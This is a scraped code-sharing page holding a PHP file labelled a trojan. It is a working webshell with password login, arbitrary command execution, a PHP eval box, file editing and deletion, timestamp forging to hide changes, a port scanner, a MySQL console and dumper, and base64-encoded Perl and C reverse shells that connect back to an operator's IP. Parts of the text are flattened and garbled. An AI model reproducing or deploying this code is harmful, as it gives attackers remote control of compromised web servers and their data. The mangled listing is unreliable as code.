  1257.         }
  1258.         function query_res($sql) {
  1259.                 $res = '';
  1260.                 if(!$res = mysql_query($sql, $this->link)) {
  1261.                         $res = 0;
  1262.                 } else if(is_resource($res)) {
  1263.                         $res = 1;
  1264.                 } else {
  1265.                         $res = 2;
  1266.                 }
  1267.                 $this->querycount++;
  1268.                 return $res;
  1269.         }
  1270.         function num_rows($query) {
  1271.                 $query = mysql_num_rows($query);
  1272.                 return $query;
  1273.         }
  1274.         function num_fields($query) {
  1275.                 $query = mysql_num_fields($query);
  1276.                 return $query;
  1277.         }
  1278.         function affected_rows() {
  1279.                 return mysql_affected_rows($this->link);
  1280.         }
  1281.         function result($query, $row) {
  1282.                 $query = mysql_result($query, $row);
  1283.                 return $query;
  1284.         }      
  1285.         function free_result($query) {
  1286.                 $query = mysql_free_result($query);
  1287.                 return $query;
  1288.         }
  1289.         function version() {
  1290.                 return mysql_get_server_info($this->link);
  1291.         }
  1292.         function close() {
  1293.                 return mysql_close($this->link);
  1294.         }
  1295.         function halt($msg =''){
  1296.                 echo "<h2>".htmlspecialchars($msg)."</h2>\n";
  1297.                 echo "<p class=\"b\">Mysql error description: ".htmlspecialchars($this->geterrdesc())."</p>\n";
  1298.                 echo "<p class=\"b\">Mysql error number: ".$this->geterrno()."</p>\n";
  1299.                 exit;
  1300.         }
  1301.         function get_fields_meta($result) {
  1302.                 $fields = array();
  1303.                 $num_fields = $this->num_fields($result);
  1304.                 for ($i = 0; $i < $num_fields; $i++) {
  1305.                         $field = mysql_fetch_field($result, $i);
  1306.                         $fields[] = $field;
  1307.                 }
  1308.                 return $fields;
  1309.         }
  1310.         function sqlAddSlashes($s = ''){
  1311.                 $s = str_replace('\\', '\\\\', $s);
  1312.                 $s = str_replace('\'', '\'\'', $s);
  1313.                 return $s;
  1314.         }
  1315.         // 备份数据库
  1316.         function sqldump($table, $fp=0) {
  1317.                 $crlf = (IS_WIN ? "\r\n" : "\n");
  1318.                 $search = array("\x00", "\x0a", "\x0d", "\x1a"); //\x08\\x09, not required
  1319.                 $replace = array('\0', '\n', '\r', '\Z');
  1320.                 if (isset($this->charset) && isset($this->charsetdb[$this->charset])) {
  1321.                         $set_names = $this->charsetdb[$this->charset];
  1322.                 } else {
  1323.                         $set_names = $this->charsetdb['utf-8'];
  1324.                 }
  1325.                 $tabledump = 'SET SQL_MODE="NO_AUTO_VALUE_ON_ZERO";'.$crlf.$crlf;
  1326.                 $tabledump .= '/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;'.$crlf
  1327.                            . '/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;'.$crlf
  1328.                            . '/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;'.$crlf
  1329.                            . '/*!40101 SET NAMES ' . $set_names . ' */;'.$crlf.$crlf;
  1330.                 $tabledump .= "DROP TABLE IF EXISTS `$table`;".$crlf;
  1331.                 $res = $this->query("SHOW CREATE TABLE $table");
  1332.                 $create = $this->fetch($res, MYSQL_NUM);
  1333.                 $tabledump .= $create[1].';'.$crlf.$crlf;
  1334.                 if (strpos($tabledump, "(\r\n ")) {
  1335.                         $tabledump = str_replace("\r\n", $crlf, $tabledump);
  1336.                 } elseif (strpos($tabledump, "(\n ")) {
  1337.                         $tabledump = str_replace("\n", $crlf, $tabledump);
  1338.                 } elseif (strpos($tabledump, "(\r ")) {
  1339.                         $tabledump = str_replace("\r", $crlf, $tabledump);
  1340.                 }
  1341.                 unset($create);
  1342.                 if ($fp) {
  1343.                         fwrite($fp,$tabledump);
  1344.                 } else {
  1345.                         echo $tabledump;
  1346.                 }
  1347.                 $tabledump = '';
  1348.                 $rows = $this->query("SELECT * FROM $table");
  1349.                 $fields_cnt = $this->num_fields($rows);
  1350.                 $fields_meta = $this->get_fields_meta($rows);
  1351.                 while ($row = $this->fetch($rows, MYSQL_NUM)) {
  1352.                         for ($j = 0; $j < $fields_cnt; $j++) {
  1353.                                 if (!isset($row[$j]) || is_null($row[$j])) {
  1354.                                         $values[] = 'NULL';
  1355.                                 } elseif ($fields_meta[$j]->numeric && $fields_meta[$j]->type != 'timestamp' && !$fields_meta[$j]->blob) {
  1356.                                         $values[] = $row[$j];
  1357.                                 } elseif ($fields_meta[$j]->blob) {
  1358.                                         if (empty($row[$j]) && $row[$j] != '0') {
  1359.                                                 $values[] = '\'\'';
  1360.                                         } else {
  1361.                                                 $values[] = '0x'.bin2hex($row[$j]);
  1362.                                         }
  1363.                                 } else {
  1364.                                         $values[] = '\''.str_replace($search, $replace, $this->sqlAddSlashes($row[$j])).'\'';
  1365.                                 }
  1366.                         }
  1367.                         $tabledump = 'INSERT INTO `'.$table.'` VALUES('.implode(', ', $values).');'.$crlf;
  1368.                         unset($values);
  1369.                         if ($fp) {
  1370.                                 fwrite($fp,$tabledump);
  1371.                         } else {
  1372.                                 echo $tabledump;
  1373.                         }
  1374.                 }
  1375.                 $this->free_result($rows);
  1376.         }
  1377. }
  1378. ?>

回复 "php木马文件"

这儿你可以回复上面这条便签

'); if ($sql_query) { $querys = @explode(';',$sql_query); foreach($querys as $num=>$query) { if ($query) { p("

Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."

"); switch($DB->query_res($query)) { case 0: p('

'.$DB->halt('Error').'

'); break; case 1: $result = $DB->query($query); $tatol = $DB->num_rows($result); p(''); p(''); $fieldnum = @mysql_num_fields($result); for($i=0;$i<$fieldnum;$i++){ p(''); } p(''); if (!$tatol) { p(''); } else { while($mn = $DB->fetch($result)){ $thisbg = bg(); p(''); //读取记录用 foreach($mn as $key=>$inside){ p(''); } p(''); unset($b1); } } p('
'.@mysql_field_name($result, $i).'
No records
'.(($inside == null) ? 'null' : html_clean($inside)).'
'); break; case 2: p('

Affected Rows : '.$DB->affected_rows().'

'); break; } } } } else { $query = $DB->query("SHOW TABLE STATUS"); $table_num = $table_rows = $data_size = 0; $tabledb = array(); while($table = $DB->fetch($query)) { $data_size = $data_size + $table['Data_length']; $table_rows = $table_rows + $table['Rows']; $table_num++; $tabledb[] = $table; } $data_size = sizecount($data_size); unset($table); if (count($tabledb)) { if ($highver) { $db_engine = $DB->fetch($DB->query("SHOW VARIABLES LIKE 'storage_engine';")); $db_collation = $DB->fetch($DB->query("SHOW VARIABLES LIKE 'collation_database';")); } $sort = array('Name', 1); if($order) { if(preg_match('!s_([A-z_]+)_(\d{1})!', $order, $match)) { $sort = array($match[1], (int)$match[2]); } } usort($tabledb, 'cmp'); p(''); p(''); p(''); p(''); p(''); p(''); p(''); p(''); if ($highver) { p(''); p(''); } p(''); p(''); foreach ($tabledb as $key => $table) { $thisbg = bg(); p(''); p(''); p(''); p(''); p(''); p(''); p(''); if ($highver) { p(''); p(''); } p(''); p(''); } p(''); p(''); p(''); p(''); p(''); p(''); p(''); if ($highver) { p(''); p(''); } p(''); p(''); p(""); p("
Name '.($order == 's_Name_0' ? $dchar : '').($order == 's_Name_1' || !$order ? $uchar : '').'Rows'.($order == 's_Rows_0' ? $dchar : '').($order == 's_Rows_1' ? $uchar : '').'Data_length'.($order == 's_Data_length_0' ? $dchar : '').($order == 's_Data_length_1' ? $uchar : '').'Create_time'.($order == 's_Create_time_0' ? $dchar : '').($order == 's_Create_time_1' ? $uchar : '').'Update_time'.($order == 's_Update_time_0' ? $dchar : '').($order == 's_Update_time_1' ? $uchar : '').'EngineCollationOther
'.$table['Name'].''.$table['Rows'].' '.sizecount($table['Data_length']).''.$table['Create_time'].' '.$table['Update_time'].' '.$table['Engine'].''.$table['Collation'].'Structure
 '.$table_num.' table(s)'.$table_rows.''.$data_size.'  '.$db_engine['Value'].''.$db_collation['Value'].' 
Save as file
"); } else { p('

No tables

'); } $DB->free_result($query); } } $DB->close(); } formfoot(); }//end mysql elseif ($act == 'backconnect') { !$p2 && $p2 = $_SERVER['REMOTE_ADDR']; !$p3 && $p3 = '12345'; $usedb = array('perl'=>'perl','c'=>'c'); $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj". "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR". "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT". "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI". "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi". "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl". "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC". "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb". "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd". "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ". "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC". "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D". "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp". "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ=="; if ($p1 == 'start' && $p2 && $p3 && $p4){ if ($p4 == 'perl') { cf('/tmp/angel_bc',$back_connect); $res = execute(which('perl')." /tmp/angel_bc ".$p2." ".$p3." &"); } else { cf('/tmp/angel_bc.c',$back_connect_c); $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c'); @unlink('/tmp/angel_bc.c'); $res = execute("/tmp/angel_bc ".$p2." ".$p3." &"); } m('Now script try connect to '.$p2.':'.$p3.' ...'); } formhead(array('title'=>'Back Connect', 'onsubmit'=>'g(\'backconnect\',null,\'start\',this.p2.value,this.p3.value,this.p4.value);return false;')); p('

'); p('Your IP:'); makeinput(array('name'=>'p2','size'=>20,'value'=>$p2)); p('Your Port:'); makeinput(array('name'=>'p3','size'=>15,'value'=>$p3)); p('Use:'); makeselect(array('name'=>'p4','option'=>$usedb,'selected'=>$p4)); makeinput(array('value'=>'Start','type'=>'submit','class'=>'bt')); p('

'); formfoot(); }//end elseif ($act == 'portscan') { !$p2 && $p2 = '127.0.0.1'; !$p3 && $p3 = '21,80,135,139,445,1433,3306,3389,5631,43958'; formhead(array('title'=>'端口扫描', 'onsubmit'=>'g(\'portscan\',null,\'start\',this.p2.value,this.p3.value);return false;')); p('

'); p('IP:'); makeinput(array('name'=>'p2','size'=>20,'value'=>$p2)); p('Port:'); makeinput(array('name'=>'p3','size'=>80,'value'=>$p3)); makeinput(array('value'=>'扫描','type'=>'submit','class'=>'bt')); p('

'); formfoot(); if ($p1 == 'start') { p('

Result »

'); p('
    '); foreach(explode(',', $p3) as $port) { $fp = @fsockopen($p2, $port, $errno, $errstr, 1); if (!$fp) { p('
  • '.$p2.':'.$port.' ------------------------ Close
    • '); } else { p('
  • '.$p2.':'.$port.' ------------------------ Open
    • '); @fclose($fp); } } p('
'); } } elseif ($act == 'eval') { $phpcode = trim($p1); if($phpcode){ if (!preg_match('#<\?#si', $phpcode)) { $phpcode = ""; } eval("?".">$phpcode'Eval PHP代码', 'onsubmit'=>'g(\'eval\',null,this.p1.value);return false;')); maketext(array('title'=>'PHP 代码','name'=>'p1', 'value'=>$phpcode)); p('

获得插件

'); formfooter(); }//end eval elseif ($act == 'editfile') { // 编辑文件 if ($p1 == 'edit' && $p2 && $p3) { $fp = @fopen($p2,'w'); m('Save file '.(@fwrite($fp,$p3) ? 'success' : 'failed')); @fclose($fp); } $contents = ''; if(file_exists($p2)) { $fp=@fopen($p2,'r'); $contents=@fread($fp, filesize($p2)); @fclose($fp); $contents=htmlspecialchars($contents); } formhead(array('title'=>'创建/编辑文件', 'onsubmit'=>'g(\'editfile\',null,\'edit\',this.p2.value,this.p3.value);return false;')); makeinput(array('title'=>'文件名:','name'=>'p2','value'=>$p2,'newline'=>1)); maketext(array('title'=>'文件内容:','name'=>'p3','value'=>$contents)); formfooter(); goback(); }//end editfile elseif ($act == 'newtime') { $filemtime = @filemtime($p1); formhead(array('title'=>'Clone folder/file was last modified time', 'onsubmit'=>'g(\'file\',null,\'clonetime\',this.p2.value,this.p3.value);return false;')); makeinput(array('title'=>'Alter folder/file','name'=>'p2','value'=>$p1,'size'=>120,'newline'=>1)); makeinput(array('title'=>'Reference folder/file','name'=>'p3','value'=>$cwd,'size'=>120,'newline'=>1)); formfooter(); formhead(array('title'=>'Set last modified', 'onsubmit'=>'g(\'file\',null,\'settime\',this.p2.value,this.p3.value);return false;')); makeinput(array('title'=>'Current folder/file','name'=>'p2','value'=>$p1,'size'=>120,'newline'=>1)); makeinput(array('title'=>'Modify time','name'=>'p3','value'=>date("Y-m-d H:i:s", $filemtime),'size'=>120,'newline'=>1)); formfooter(); goback(); }//end newtime elseif ($act == 'shell') { formhead(array('title'=>'执行命令', 'onsubmit'=>'g(\'shell\',null,this.p1.value);return false;')); p('

'); makeinput(array('name'=>'p1','value'=>htmlspecialchars($p1))); makeinput(array('class'=>'bt','type'=>'submit','value'=>'执行')); p('

'); formfoot(); if n scookie($key, $value, $life = 0, $prefix = 1) { global $timestamp, $_SERVER, $cookiepre, $cookiedomain, $cookiepath, $cookielife; $key = ($prefix ? $cookiepre : '').$key; $life = $life ? $life : $cookielife; $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0; setcookie($key, $value, $timestamp+$life, $cookiepath, $cookiedomain, $useport); } function loginpage() { formhead(); makehide('act','login'); makeinput(array('name'=>'password','type'=>'password','size'=>'20')); makeinput(array('type'=>'submit','value'=>'登录')); formfoot(); exit; } function execute($cfe) { $res = ''; if ($cfe) { if(function_exists('system')) { @ob_start(); @system($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(function_exists('passthru')) { @ob_start(); @passthru($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(function_exists('shell_exec')) { $res = @shell_exec($cfe); } elseif(function_exists('exec')) { @exec($cfe,$res); $res = join("\n",$res); } elseif(@is_resource($f = @popen($cfe,"r"))) { $res = ''; while(!@feof($f)) { $res .= @fread($f,1024); } @pclose($f); } } return $res; } function which($pr) { $path = execute("which $pr"); return ($path ? $path : $pr); } function cf($fname,$text){ if($fp=@fopen($fname,'w')) { @fputs($fp,@base64_decode($text)); @fclose($fp); } } function dirsize($cwd) { $dh = @opendir($cwd); $size = 0; while($file = @readdir($dh)) { if ($file != '.' && $file != '..') { $path = $cwd.'/'.$file; $size += @is_dir($path) ? dirsize($path) : sprintf("%u", @filesize($path)); } } @closedir($dh); return $size; } // 页面调试信息 function debuginfo() { global $starttime; $mtime = explode(' ', microtime()); $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6); echo 'Processed in '.$totaltime.' second(s)'; } // 清除HTML代码 function html_clean($content) { $content = htmlspecialchars($content); $content = str_replace("\n", "
", $content); $content = str_replace(" ", "  ", $content); $content = str_replace("\t", "    ", $content); return $content; } // 获取权限 function getChmod($file){ return substr(base_convert(@fileperms($file),10,8),-4); } function PermsColor($f) { if (!is_readable($f)) { return ''.getPerms($f).''; } elseif (!is_writable($f)) { return ''.getPerms($f).''; } else { return ''.getPerms($f).''; } } function getPerms($file) { $mode = @fileperms($file); if (($mode & 0xC000) === 0xC000) {$type = 's';} elseif (($mode & 0x4000) === 0x4000) {$type = 'd';} elseif (($mode & 0xA000) === 0xA000) {$type = 'l';} elseif (($mode & 0x8000) === 0x8000) {$type = '-';} elseif (($mode & 0x6000) === 0x6000) {$type = 'b';} elseif (($mode & 0x2000) === 0x2000) {$type = 'c';} elseif (($mode & 0x1000) === 0x1000) {$type = 'p';} else {$type = '?';} $owner['read'] = ($mode & 00400) ? 'r' : '-'; $owner['write'] = ($mode & 00200) ? 'w' : '-'; $owner['execute'] = ($mode & 00100) ? 'x' : '-'; $group['read'] = ($mode & 00040) ? 'r' : '-'; $group['write'] = ($mode & 00020) ? 'w' : '-'; $group['execute'] = ($mode & 00010) ? 'x' : '-'; $world['read'] = ($mode & 00004) ? 'r' : '-'; $world['write'] = ($mode & 00002) ? 'w' : '-'; $world['execute'] = ($mode & 00001) ? 'x' : '-'; if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';} if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';} if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';} return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute']; } function getUser($file) { if (function_exists('posix_getpwuid')) { $array = @posix_getpwuid(@fileowner($file)); if ($array && is_array($array)) { return ' / '.$array['name'].''; } } return ''; } function copy_paste($c,$f,$d){ if(is_dir($c.$f)){ mkdir($d.$f); $dirs = scandir($c.$f); if ($dirs) { $dirs = array_diff($dirs, array('..', '.')); foreach ($dirs as $file) { copy_paste($c.$f.'/',$file, $d.$f.'/'); } } } elseif(is_file($c.$f)) { copy($c.$f, $d.$f); } } // 删除目录 function deltree($deldir) { $dirs = @scandir($deldir); if ($dirs) { $dirs = array_diff($dirs, array('..', '.')); foreach ($dirs as $file) { if((is_dir($deldir.'/'.$file))) { @chmod($deldir.'/'.$file,0777); deltree($deldir.'/'.$file); } else { @chmod($deldir.'/'.$file,0777); @unlink($deldir.'/'.$file); } } @chmod($deldir,0777); return @rmdir($deldir) ? 1 : 0; } else { return 0; } } // 表格行间的背景色替换 function bg() { global $bgc; return ($bgc++%2==0) ? 'alt1' : 'alt2'; } function cmp($a, $b) { global $sort; if(is_numeric($a[$sort[0]])) { return (($a[$sort[0]] < $b[$sort[0]]) ? -1 : 1)*($sort[1]?1:-1); } else { return strcmp($a[$sort[0]], $b[$sort[0]])*($sort[1]?1:-1); } } // 获取当前目录的上级目录 function getUpPath($cwd) { $pathdb = explode('/', $cwd); $num = count($pathdb); if ($num > 2) { unset($pathdb[$num-1],$pathdb[$num-2]); } $uppath = implode('/', $pathdb).'/'; $uppath = str_replace('//', '/', $uppath); return $uppath; } // 检查PHP配置参数 function getcfg($varname) { $result = get_cfg_var($varname); if ($result == 0) { return 'No'; } elseif ($result == 1) { return 'Yes'; } else { return $result; } } // 获得文件扩展名 function getext($file) { $info = pathinfo($file); return $info['extension']; } function GetWDirList($path){ global $dirdata,$j,$web_cwd; !$j && $j=1; $dirs = @scandir($path); if ($dirs) { $dirs = array_diff($dirs, array('..','.')); foreach ($dirs as $file) { $f=str_replace('//','/',$path.'/'.$file); if(is_dir($f)){ if (is_writable($f)) { $dirdata[$j]['filename']='/'.str_replace($web_cwd,'',$f); $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f)); $dirdata[$j]['chmod']=getChmod($f); $dirdata[$j]['perm']=PermsColor($f); $dirdata[$j]['owner']=getUser($f); $dirdata[$j]['link']=$f; $j++; } GetWDirList($f); } } return $dirdata; } else { return array(); } } function sizecount($size) { $unit = array('Bytes', 'KB', 'MB', 'GB', 'TB','PB'); for ($i = 0; $size >= 1024 && $i < 5; $i++) { $size /= 1024; } return round($size, 2).' '.$unit[$i]; } function p($str){ echo $str."\n"; } function makehide($name,$value=''){ p(""); } function makeinput($arg = array()){ $arg['size'] = isset($arg['size']) && $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\""; $arg['type'] = isset($arg['type']) ? $arg['type'] : 'text'; $arg['title'] = isset($arg['title']) ? $arg['title'].'
' : ''; $arg['class'] = isset($arg['class']) ? $arg['class'] : 'input'; $arg['name'] = isset($arg['name']) ? $arg['name'] : ''; $arg['value'] = isset($arg['value']) ? $arg['value'] : ''; if (isset($arg['newline'])) p('

'); p("$arg[title]"); if (isset($arg['newline'])) p('

'); } function makeselect($arg = array()){ $onchange = isset($arg['onchange']) ? 'onchange="'.$arg['onchange'].'"' : ''; $arg['title'] = isset($arg['title']) ? $arg['title'] : ''; $arg['name'] = isset($arg['name']) ? $arg['name'] : ''; p("$arg[title] "); } function formhead($arg = array()) { !isset($arg['method']) && $arg['method'] = 'post'; !isset($arg['name']) && $arg['name'] = 'form1'; $arg['extra'] = isset($arg['extra']) ? $arg['extra'] : ''; $arg['onsubmit'] = isset($arg['onsubmit']) ? "onsubmit=\"$arg[onsubmit]\"" : ''; p(""); if (isset($arg['title'])) { p('

'.$arg['title'].' »

'); } } function maketext($arg = array()){ $arg['title'] = isset($arg['title']) ? $arg['title'].'
' : ''; $arg['name'] = isset($arg['name']) ? $arg['name'] : ''; p("

$arg[title]

"); } function formfooter($name = ''){ !$name && $name = 'submit'; p('

'); p(''); } function goback(){ global $cwd, $charset; p('

'); } function formfoot(){ p(''); } function encode_pass($pass) { $pass = md5($pass); return $pass; } function pr($a) { p('
'.print_r($a).'
'); } class DB_MySQL { var $querycount = 0; var $link; var $charsetdb = array(); var $charset = ''; function connect($dbhost, $dbuser, $dbpass, $dbname='') { @ini_set('mysql.connect_timeout', 5); if(!$this->link = @mysql_connect($dbhost, $dbuser, $dbpass, 1)) { $this->halt('Can not connect to MySQL server'); } if($this->version() > '4.1') { $this->setcharset($this->charset); } $dbname && mysql_select_db($dbname, $this->link); } function setcharset($charset) { if ($charset && $this->charsetdb[$charset]) { if(function_exists('mysql_set_charset')) { mysql_set_charset($this->charsetdb[$charset], $this->link); } else { $this->query("SET character_set_connection='".$this->charsetdb[$charset]."', character_set_results='".$this->charsetdb[$charset]."', character_set_client=binary"); } } } function select_db($dbname) { return mysql_select_db($dbname, $this->link); } function geterrdesc() { return (($this->link) ? mysql_error($this->link) : mysql_error()); } function geterrno() { return intval(($this->link) ? mysql_errno($this->link) : mysql_errno()); } function fetch($query, $result_type = MYSQL_ASSOC) { //MYSQL_NUM return mysql_fetch_array($query, $result_type); } function query($sql) { //echo '

'.$sql.'

'; if(!($query = mysql_query($sql, $this->link))) { $this->halt('MySQL Query Error', $sql); } $this->querycount++; return $query; } function query_res($sql) { $res = ''; if(!$res = mysql_query($sql, $this->link)) { $res = 0; } else if(is_resource($res)) { $res = 1; } else { $res = 2; } $this->querycount++; return $res; } function num_rows($query) { $query = mysql_num_rows($query); return $query; } function num_fields($query) { $query = mysql_num_fields($query); return $query; } function affected_rows() { return mysql_affected_rows($this->link); } function result($query, $row) { $query = mysql_result($query, $row); return $query; } function free_result($query) { $query = mysql_free_result($query); return $query; } function version() { return mysql_get_server_info($this->link); } function close() { return mysql_close($this->link); } function halt($msg =''){ echo "

".htmlspecialchars($msg)."

\n"; echo "

Mysql error description: ".htmlspecialchars($this->geterrdesc())."

\n"; echo "

Mysql error number: ".$this->geterrno()."

\n"; exit; } function get_fields_meta($result) { $fields = array(); $num_fields = $this->num_fields($result); for ($i = 0; $i < $num_fields; $i++) { $field = mysql_fetch_field($result, $i); $fields[] = $field; } return $fields; } function sqlAddSlashes($s = ''){ $s = str_replace('\\', '\\\\', $s); $s = str_replace('\'', '\'\'', $s); return $s; } // 备份数据库 function sqldump($table, $fp=0) { $crlf = (IS_WIN ? "\r\n" : "\n"); $search = array("\x00", "\x0a", "\x0d", "\x1a"); //\x08\\x09, not required $replace = array('\0', '\n', '\r', '\Z'); if (isset($this->charset) && isset($this->charsetdb[$this->charset])) { $set_names = $this->charsetdb[$this->charset]; } else { $set_names = $this->charsetdb['utf-8']; } $tabledump = 'SET SQL_MODE="NO_AUTO_VALUE_ON_ZERO";'.$crlf.$crlf; $tabledump .= '/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;'.$crlf . '/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;'.$crlf . '/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;'.$crlf . '/*!40101 SET NAMES ' . $set_names . ' */;'.$crlf.$crlf; $tabledump .= "DROP TABLE IF EXISTS `$table`;".$crlf; $res = $this->query("SHOW CREATE TABLE $table"); $create = $this->fetch($res, MYSQL_NUM); $tabledump .= $create[1].';'.$crlf.$crlf; if (strpos($tabledump, "(\r\n ")) { $tabledump = str_replace("\r\n", $crlf, $tabledump); } elseif (strpos($tabledump, "(\n ")) { $tabledump = str_replace("\n", $crlf, $tabledump); } elseif (strpos($tabledump, "(\r ")) { $tabledump = str_replace("\r", $crlf, $tabledump); } unset($create); if ($fp) { fwrite($fp,$tabledump); } else { echo $tabledump; } $tabledump = ''; $rows = $this->query("SELECT * FROM $table"); $fields_cnt = $this->num_fields($rows); $fields_meta = $this->get_fields_meta($rows); while ($row = $this->fetch($rows, MYSQL_NUM)) { for ($j = 0; $j < $fields_cnt; $j++) { if (!isset($row[$j]) || is_null($row[$j])) { $values[] = 'NULL'; } elseif ($fields_meta[$j]->numeric && $fields_meta[$j]->type != 'timestamp' && !$fields_meta[$j]->blob) { $values[] = $row[$j]; } elseif ($fields_meta[$j]->blob) { if (empty($row[$j]) && $row[$j] != '0') { $values[] = '\'\''; } else { $values[] = '0x'.bin2hex($row[$j]); } } else { $values[] = '\''.str_replace($search, $replace, $this->sqlAddSlashes($row[$j])).'\''; } } $tabledump = 'INSERT INTO `'.$table.'` VALUES('.implode(', ', $values).');'.$crlf; unset($values); if ($fp) { fwrite($fp,$tabledump); } else { echo $tabledump; } } $this->free_result($rows); } } ?>
captcha

贴代码片段 - Code666